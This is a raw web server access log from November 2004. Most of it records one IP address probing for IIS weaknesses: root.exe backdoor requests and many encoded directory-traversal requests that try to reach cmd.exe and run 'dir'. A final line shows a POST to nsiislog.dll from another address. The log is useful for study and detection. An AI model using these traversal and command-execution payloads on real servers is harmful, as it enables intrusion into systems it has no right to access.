04.11.04 10:37:10 Thread:    7  Client-IP: 213.159.225.98    GET /scripts/root.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:11 Thread:    7  Client-IP: 213.159.225.98    GET /MSADC/root.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:12 Thread:    7  Client-IP: 213.159.225.98    GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:13 Thread:    7  Client-IP: 213.159.225.98    GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:14 Thread:    7  Client-IP: 213.159.225.98    GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:15 Thread:    7  Client-IP: 213.159.225.98    GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:16 Thread:    7  Client-IP: 213.159.225.98    GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:16 Thread:    7  Client-IP: 213.159.225.98    GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0    
                  {{"1", "/c dir"}}    NIL
04.11.04 10:37:17 Thread:    7  Client-IP: 213.159.225.98    GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:18 Thread:    7  Client-IP: 213.159.225.98    GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:19 Thread:    7  Client-IP: 213.159.225.98    GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:20 Thread:    7  Client-IP: 213.159.225.98    GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:21 Thread:    7  Client-IP: 213.159.225.98    GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:22 Thread:    7  Client-IP: 213.159.225.98    GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:23 Thread:    7  Client-IP: 213.159.225.98    GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL
04.11.04 10:37:24 Thread:    7  Client-IP: 213.159.225.98    GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0    {{"1", "/c dir"}}    NIL

05.11.04 23:09:38 Thread:    7  Client-IP: 80.128.190.87    POST /scripts/nsiislog.dll HTTP/1.0    {}    NIL